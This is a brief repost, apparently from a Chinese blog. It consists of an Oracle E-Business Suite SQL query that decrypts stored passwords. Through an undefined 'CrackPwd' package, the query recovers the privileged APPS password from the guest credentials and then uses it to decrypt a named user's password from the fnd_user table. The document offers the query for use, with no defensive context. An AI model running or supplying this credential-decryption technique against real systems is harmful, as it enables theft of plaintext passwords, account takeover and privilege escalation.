SQL 获取EBS用户解码密码

SELECT usr.user_name, 
       CrackPwd.getpwd 
          ((SELECT (SELECT CrackPwd.getpwd 
                              (fnd_web_sec.get_guest_username_pwd, 
                               usertable.encrypted_foundation_password 
                              ) 
                      FROM DUAL) AS apps_password 
              FROM apps.fnd_user usertable 
             WHERE usertable.user_name = 
                      (SELECT SUBSTR 
                                  (fnd_web_sec.get_guest_username_pwd, 
                                   1, 
                                     INSTR 
                                          (fnd_web_sec.get_guest_username_pwd, 
                                           '/' 
                                          ) 
                                   - 1 
                                  ) 
                         FROM DUAL)), 
           usr.encrypted_user_password 
          ) PASSWORD 
  FROM apps.fnd_user usr 
WHERE usr.user_name = 'HANNALI';

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转载自hannalee.iteye.com/blog/2343605